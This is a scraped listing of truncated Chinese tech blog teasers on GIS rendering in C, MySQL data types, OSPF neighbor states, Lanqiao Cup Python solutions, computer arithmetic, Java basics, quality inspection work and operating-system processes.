🍺三维数字地球系列相关文章如下🍺:1【小沐学GIS】基于C绘制三维数字地球Earth(OpenGL、glfw、glut)第一期2【小沐学GIS】基于C绘制三维数字地球Earth(OpenGL、glfw、glut)第二期3【小沐学GIS】…...
MySQL -数据类型
博客主页:【夜泉_ly】 本文专栏:【暂无】 欢迎点赞👍收藏⭐关注❤️ 目录 前言数值类型intbitfloat 字符串charvarcharenum set 日期和时间类型 前言 在之前的操作篇, 我们用到的大多是DDL(数据定义语言)。 在建表时,…...
数据通信学习笔记之OSPF的邻居角色
邻居与邻接 OSPF 使用 Hello 报文发现和建立邻居关系 在以太网链路上,缺省时,OSPF 采用组播的形式发送 Hello 报文 (目的地址 224.0.0.5) OSPF Hello 报文中包含了路由器的 RouterID、邻居列表等信息。 邻居状态: 邻居:2-way 邻…...
2025第十六届蓝桥杯python B组满分题解(详细)
目录 前言 A: 攻击次数 解题思路: 代码: B: 最长字符串 解题思路: 代码: C: LQ图形 解题思路: 代码: D: 最多次数 解题思路: 代码: E: A * B Problem 解题思路&…...
计算机组成原理笔记(十七)——4.2定点加减运算
定点数的加减运算包括原码、补码和反码3种带符号数的加减运算,其中补码加减运算实现起来最方便。 4.2.1原码加减运算 原码加减运算详解 原码是计算机中表示数值的基本方式之一,其特点为最高位为符号位(0表正,1表负)…...
javase 学习
一、Java 三大版本 javaSE 标准版 (桌面程序; 控制台开发) javaME 嵌入式开发(手机、小家电)基本不用,已经淘汰了 javaEE E业级发开(web端、 服务器开发) 二、Jdk ,jre jvm 三…...
成品检验工程师心得总结
岗位:成品检验助理工程师 成品检验工程师——————>OQC工程师 何为成品? 简单来说,就是已经完成了产品的开发,测试,满足客户所有需求开发的产品。 成品检验工程师对应的是哪一个角色? 客户&…...
操作系统:进程是一个非常重要的抽象概念
在操作系统中,进程是一个非常重要的抽象概念,它是程序在计算机上的执行实例,是系统进行资源分配和调度的基本单位。 一、进程的定义 从动态角度来说,进程是程序的一次执行过程。例如,当你在计算机上打开一个文本编辑…...